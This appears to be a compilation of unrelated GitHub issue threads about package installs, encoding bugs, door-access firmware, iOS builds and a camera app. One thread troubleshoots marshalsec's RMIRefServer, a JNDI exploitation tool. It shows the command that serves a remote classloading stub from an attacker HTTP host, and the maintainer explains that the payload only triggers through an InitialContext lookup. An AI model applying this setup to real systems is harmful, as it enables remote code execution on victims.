    - fluentdom/selectors-phpcss 1.0.1 requires fluentdom/fluentdom ^5.3||^6.0 -> satisfiable by fluentdom/fluentdom[5.3.x-dev, 6.0.x-dev, 6.1.x-dev].
    - Can only install one of: fluentdom/fluentdom[dev-master, 5.3.x-dev].
    - Can only install one of: fluentdom/fluentdom[dev-master, 6.0.x-dev].
    - Can only install one of: fluentdom/fluentdom[dev-master, 6.1.x-dev].
    - Installation request for fluentdom/fluentdom dev-master#e2a47d5 -> satisfiable by fluentdom/fluentdom[dev-master].
    - Installation request for fluentdom/selectors-phpcss ^1.0 -> satisfiable by fluentdom/selectors-phpcss[1.0.0, 1.0.1].

Anyway, I have downloaded the lastest clone and replaced the whole folder manually. I can test now.
It seems the behavior is the same using FluentDOM::QueryCss, but it is fine using new HTML().

Hi, Any updates?

I added some RegEx to the HTML loader to fetch the encoding from the meta tags - default is UTF-8 now. Additionally I did a lot of rework on the load/save process from HTML - testing it with Chinese characters. The changes are pushed to the 6.1 branch and I added the version to the CSS Selector package, so a composer install allowing the dev versions should work now.
If you could test it out and send me (small) examples that do not work as expected, I would appreciate it.

@ThomasWeinert Hi, could you give me a sample of composer.json to include the dev version? I have tried the following but without any luck.
{
	"repositories": [
      {
        "type": "vcs",
        "url": "https://github.com/FluentDOM/FluentDOM"
      }
    ],
	"require": {
		"fluentdom/fluentdom": "dev-master#6.1",
		"fluentdom/selectors-phpcss": "^1.0"
    }
}

Result:
Loading composer repositories with package information                                                                                Updating dependencies (including require-dev)         Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - Conclusion: don't install fluentdom/fluentdom dev-master
    - fluentdom/selectors-phpcss 1.0.1 requires fluentdom/fluentdom ^5.3||^6.0 -> satisfiable by fluentdom/fluentdom[5.3.x-dev, 6.0.x-dev, 6.1.x-dev].
    - fluentdom/selectors-phpcss 1.0.0 requires fluentdom/fluentdom ^5.3 -> satisfiable by fluentdom/fluentdom[5.3.x-dev].
    - fluentdom/selectors-phpcss 1.0.1 requires fluentdom/fluentdom ^5.3||^6.0 -> satisfiable by fluentdom/fluentdom[5.3.x-dev, 6.0.x-dev, 6.1.x-dev].
    - Can only install one of: fluentdom/fluentdom[dev-master, 5.3.x-dev].
    - Can only install one of: fluentdom/fluentdom[dev-master, 6.0.x-dev].
    - Can only install one of: fluentdom/fluentdom[dev-master, 6.1.x-dev].
    - Can only install one of: fluentdom/fluentdom[dev-master, 5.3.x-dev].
    - Can only install one of: fluentdom/fluentdom[dev-master, 6.0.x-dev].
    - Can only install one of: fluentdom/fluentdom[dev-master, 6.1.x-dev].
    - Installation request for fluentdom/fluentdom dev-master#6.1 -> satisfiable by fluentdom/fluentdom[dev-master].
    - Installation request for fluentdom/selectors-phpcss ^1.0 -> satisfiable by fluentdom/selectors-phpcss[1.0.0, 1.0.1].

and, I also tried.
{
	"require": {
		"fluentdom/fluentdom": "^6.1",
		"fluentdom/selectors-phpcss": "^1.0"
    }
}

Result:
Loading composer repositories with package information                                                                                Updating dependencies (including require-dev)         Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - The requested package fluentdom/fluentdom could not be found in any version, there may be a typo in the package name.
  Problem 2
    - fluentdom/selectors-phpcss 1.0.1 requires fluentdom/fluentdom ^5.3||^6.0 -> no matching package found.
    - fluentdom/selectors-phpcss 1.0.0 requires fluentdom/fluentdom ^5.3 -> no matching package found.
    - fluentdom/selectors-phpcss 1.0.1 requires fluentdom/fluentdom ^5.3||^6.0 -> no matching package found.
    - Installation request for fluentdom/selectors-phpcss ^1.0 -> satisfiable by fluentdom/selectors-phpcss[1.0.0, 1.0.1].

Potential causes:
 - A typo in the package name
 - The package is not available in a stable-enough version according to your minimum-stability setting
   see <https://getcomposer.org/doc/04-schema.md#minimum-stability> for more details.

Read <https://getcomposer.org/doc/articles/troubleshooting.md> for further common problems.

Okay, I can use it now with the following composer.
{
	"repositories": [
      {
        "type": "vcs",
        "url": "https://github.com/FluentDOM/FluentDOM"
      }
    ],
	"require": {
		"fluentdom/fluentdom": "dev-master as 6.1",
		"fluentdom/selectors-phpcss": "^1.0.1"
    }
}

$doc = FluentDOM('

', 'html-fragment');
$doc->html(FluentDOM('网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！', 'html-fragment'));
echo $doc;

Expected:

网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！

Actual:

Ã§Â½Â�Ã¥Â�Â�Ã§Â»Â�Ã¤ÂºÂ�Ã¨Â�Â�Ã¦Â�Â�Ã¥Â�ÂºÃ£Â�Â�Ã¨Â�Â�Ã¥Â�Â°Ã¥Â�Â°Ã£Â�Â�Ã¥Â®Â¶Ã¦Â�Â�Ã§Â�Â§Ã§Â�Â�Ã¯Â¼Â�Ã¦Â²Â¡Ã¦Â�Â³Ã¥Â�Â°Ã§Â�Â�Ã¨Â§Â�Ã¥Â¥Â¹Ã¥Â¥Â¶Ã¥Â¥Â¶Ã¦Â�Â�Ã¥Â�Â�Ã§Â�Â°Ã£Â�Â�Ã¨Â�Â�Ã¥Â�Â°Ã¥Â�Â°Ã¦Â�Â¯Ã¥Â�Â¨Ã¥Â®Â¶Ã¦Â�Â�Ã©Â�Â¾Ã§Â�Â�Ã§Â�Â�Ã£Â�Â�Ã¯Â¼Â�

Code:
$html = '

Paragraph 1

Paragraph 2

网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！

';
$doc = FluentDOM($html, 'html-fragment');
echo $doc->html();

Expected:

Paragraph 1

Paragraph 2

网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！

Actaul:

Paragraph 1

Paragraph 2

ç½�å��ç»�äº�è��æ��å�ºã��è��å�°å�°ã��å®¶æ��ç�§ç��ï¼�æ²¡æ�³å�°ç��è§�å¥¹å¥¶å¥¶æ��å��ç�°ã��è��å�°å�°æ�¯å�¨å®¶æ��é�¾ç��ç��ã��ï¼�

any news on this?

I just pushed a fix for html-fragments: https://github.com/FluentDOM/FluentDOM/commit/9b0daec83958dc6c772d2b88da91f6e6da328a41

@ThomasWeinert Thanks for your updates.
But  the html-fragment out is still wrong.
Code to reproduce
$doc = FluentDOM('

', 'html-fragment');
$doc->html(FluentDOM('网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！', 'html-fragment'));
echo $doc;

ExpectedResult:

网友终于肉搜出「范冰冰」家族照片，没想到看见她奶奶才发现「范冰冰是全家最难看的」！

Actual Result:

Ã§Â½Â�Ã¥Â�Â�Ã§Â»Â�Ã¤ÂºÂ�Ã¨Â�Â�Ã¦Â�Â�Ã¥Â�ÂºÃ£Â�Â�Ã¨Â�Â�Ã¥Â�Â°Ã¥Â�Â°Ã£Â�Â�Ã¥Â®Â¶Ã¦Â�Â�Ã§Â�Â§Ã§Â�Â�Ã¯Â¼Â�Ã¦Â²Â¡Ã¦Â�Â³Ã¥Â�Â°Ã§Â�Â�Ã¨Â§Â�Ã¥Â¥Â¹Ã¥Â¥Â¶Ã¥Â¥Â¶Ã¦Â�Â�Ã¥Â�Â�Ã§Â�Â°Ã£Â�Â�Ã¨Â�Â�Ã¥Â�Â°Ã¥Â�Â°Ã¦Â�Â¯Ã¥Â�Â¨Ã¥Â®Â¶Ã¦Â�Â�Ã©Â�Â¾Ã§Â�Â�Ã§Â�Â�Ã£Â�Â�Ã¯Â¼Â�

That uses a different method of the HTML loader (load() vs loadFragment()). Added test, fixed and pushed: https://github.com/FluentDOM/FluentDOM/commit/28c53f17432611a3fa9f8c823d749bd425e160b9

Works Great!
But why is the closing div in the next line?
Code to reproduce
$doc = FluentDOM('

', 'html-fragment');
$doc->html(FluentDOM('hihi', 'html-fragment'));
echo $doc;

Expected Result:

hihi

Actual Result:

hihi

I will move the formatting problem to a new issue


Add a program's json file

Add PyCharm Professional

https://github.com/lukesampson/scoop-extras/pull/1856#issuecomment-472416268

Why there is PyCharm but no PyCharm Professional,Can I add it in next pull request?

Thanks.


Opening hours not working

I am using build 173 with rc522 reader. Opening hours setting not working, non admin tag can activate relay and open door in non working hours(unticked hours) and log also shows access granted?

I can also confirm issue #631, it still trigger the relay even if I disable the access on Tuesday  :

[ INFO ] PICC's UID: 90535856 MIFARE 1KB = known PICC
[ INFO ] User Name: '3' has access relay
[ INFO ] Read timeout or clean after read
mili : 1006493
activating relay 0 now
1006893
1006493
400
0
deactivate relay after this
mili : 1006893

PR #632 seems to fix this issue

I have tested this PR #632 for some time, but I don't know I think the problem is still there, I have noticed sometimes it deny access even in opening hours also, I was not able to test it fully as it was causing problem for the users so I am not using this feature for now, maybe others can test it more and report back.

I have tested this PR #632 for some time, but I don't know I think the problem is still there, I have noticed sometimes it deny access even in opening hours also, I was not able to test it fully as it was causing problem for the users so I am not using this feature for now, maybe others can test it more and report back.

@neel8440924 we are using this feature daily with hundreds of people and it works. The only issue that I had was with losing connection with the NTP server. If you lose that connection, then the esp can drift quite quickly and have a time very far from reality.
So if you (or someone else) want to try this feature more and if you have problems, please also attach the logs of the accesses, so that we can see at what time the access has been denied and we can check if the reason is the time drift.
Thanks!

@matjack1  I have created a test setup to check it in a more controlled way and mess with settings without affecting other people. Herein this example , it denies access even in opening hours. I have attached screenshot of general setting, NTP setting, user setting as well as access logs

hey @neel8440924 I'm very sorry for the delay here, I've just merged in the dev branch some fixes to the logs that I had made. If you want to test the latest dev build maybe it can give you better results. Let me know if you can. Thank you very much!


Transition to a primary ontology which is no longer un but instead wm

wm is fetched dynamically from github

I didn't handle INTERVENTION_PLUGIN_TRIGGER, so timeout.

Better now.

Hey @BeckySharp, could you give this a quick look mostly to make sure I understood the task correctly?


Firebase doesn't support Cocoapods 1.7.0 with Multiple Xcodeproj Generation feature

Add to podfile line
install! 'cocoapods', :generate_multiple_pod_projects => true

and build again
I get error
'FIRApp.h' file not found

Please update to the latest version.  Support for :generate_multiple_pod_projects  was added in #2751 and released with Firebase 6.0.0.


Fix inheriting from a base class that does not define any attributes.

Hello,
Firstly, thank you for creating this project 😄. We are using it for our non-ActiveRecord backed forms.
We have a base class that mixes in ShallowAttributes, but doesn't define attributes of its own. Any engineer can subclass this base class and have confidence that it will work out of the box in our forms and controllers.
Unfortunately we hit a bug where the subclass would raise TypeError: no implicit conversion of nil into Hash because it's trying to read default_values from a nil object which it expected to be a hash.
We have managed to work around it by defining MyExampleBaseClass.default_values to return an empty hash. While this is satisfactory it means the out of box experience with ShallowAttributes is not as smooth as it could be.
I hope you find this patch valuable and I'm open to any feedback you have.
Cheers,
Tate

Coverage increased (+0.02%) to 99.077% when pulling 9900e85a9cf1b738313eb603013344a39e2aff7d on fivegoodfriends:fix-inheritance-when-base-class-has-no-attributes into dd82ec67f65d778ae15ad62d80b9267ec0a52fba on davydovanton:master.

Hey,
I'm happy that for someone this gem is useful :blush:
Changes and motivation look good, that's why I'll merge it. Thanks for contribution 👍

Glad you like it :+1:


marshalsec.jndi.RMIRefServer closed connection, but client got stuck

I have a simple rmi client:
import java.io.*;
import javax.naming.*;
import java.rmi.registry.*;

public class rmiClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("<IP_ADDRESS>", 1099);
        registry.lookup("test");
    }
}

And I started the reference server with JDK8u11
/home/jdk/8u11/bin/java -cp marshalsec.jar marshalsec.jndi.RMIRefServer 'http://<IP_ADDRESS>#TEST.class' 1099
* Opening JRMP listener on 1099

When I invoke the rmi client, marshalsec outputs the following:
Have connection from /<IP_ADDRESS>:47636
Reading message...
Is RMI.lookup call for wtf 2
Sending remote classloading stub targeting http://<IP_ADDRESS>/TEST/class.class
Closing connection

No request is sent to http://<IP_ADDRESS> (from nginx access log) and the rmi client is stuck.
What was wrong? FYI: ysoserial.exploit.JRMPListener works fine

Is the exploited target also using the same Java version? This is the relevant version, not the one you run the server with. Also add a trailing slash to the classpath URL, otherwise this will try to load a JAR file at that location.

Yes, same version running on the same host. Attached jstack on the rmiClient: jstack.txt

Ah, I did not closely look at the client code the first time. Directly performing a Registry lookup will not trigger resolving the Reference, only if you do the lookup through JNDI. E.g. something like `new InitialContext().lookup("rmi://<IP_ADDRESS>/test"). Also no need
to a add .class to the fragment when starting RMIRefServer, that should just be the classname.

Indeed. I've created another java app and confirmed it. Thanks!


Create SECURITY.md

Hello 👋
I run a security community that finds and fixes vulnerabilities in OSS. A researcher (@arshadkazmi42) has found a potential issue, which I would be eager to share with you.
Could you add a SECURITY.md file with an e-mail address for me to send further details to? GitHub recommends a security policy to ensure issues are responsibly disclosed, and it would help direct researchers in the future.
Looking forward to hearing from you 👍
(cc @huntr-helper)

@JamieSlome Hey! Thanks for reporting. Please refer to https://github.com/helmfile/helmfile/pull/135 (Also note that we've moved to helmfile/helmfile

@JamieSlome I have verified, the issue does not exists in helmfile/helmfile


leaflet.markercluster.default not loading

In the Chrome devtools network tab, I can see that leaflet.markercluster is being loaded, but the other stylesheet is not. This was working before I upgraded a couple of gems (listed below).
It breaks when I upgraded bootstrap-sass to 3.3.5 and sass-rails to 5.0.0.
It works when I was using sass-rails 4.0.5, which leads me to believe it is the 5.0.0 version of this gem that causes this to break. I'm not sure what it is about this version, but if you have any insight as to why this breaks that would be great. I can provide additional details if necessary.

@joshporter1 I haven't done any testing with later versions of bootstrap. If you get it working I'd welcome a pull request  / releasing a new version.

Same here, I've fixed it by switching to this in my scss file:
@import "leaflet.markercluster";
@import "leaflet.markercluster.default";

That worked like a charm. Thanks!


[bug] app is not using all the screen and hides part of the settings button

Here is the screenshot of exactly what I see.
I am using a Redmi Note 10 Pro. So if you do not do support for other devices you can close this issue.
The app should someway understand that I have a large screen and not render some kind of black overlay that hide the settings button
Android: 11

So if you do not do support for other devices you can close this issue.

We do want to support other devices. We just don't want to have to write device-specific code and we're leaving that up to CameraX. We can work on addressing this issue.

hey @williamdes  i think you are having this issue because you are using "hide notch" feature from MIUI which works in non-standard way.
there is standard api for checking available screen real state (for third party devs) but somehow MIUI is breaking standard api to provide "hide notch" feature. Try tunring "hide notch" feature off.

hey @williamdes i think you are having this issue because you are using "hide notch" feature from MIUI which works in non-standard way.
there is standard api for checking available screen real state (for third party devs) but somehow MIUI is breaking standard api to provide "hide notch" feature. Try tunring "hide notch" feature off.
edit: MIUI have same issue in other mi devices too

You are right, that said I do no like the notch thing so for now disabling will not be a solution
But thank you for feed back this is interesting. I hope you can find a fix someway. If not that not to much of a problem as I can click the menu button and there is nothing more to see behind.

I hope you can find a fix someway.

We don't want to write device-specific code when oem deliberately break standard api compatibility . standard api exist for a reason.

Just updated to Android 12/MIUI 13 and it is fixed!


Make "Map view" configurable in backend settings

ToDo:

improve the naming of settings

Fixes #102

@Qup42 I've seen your PR. Many thanks.
What are the default credentials to access to the Admin tab?

The default admin is demo/demo. You can also always create a new admin user with python3 manage.py createsuperuser.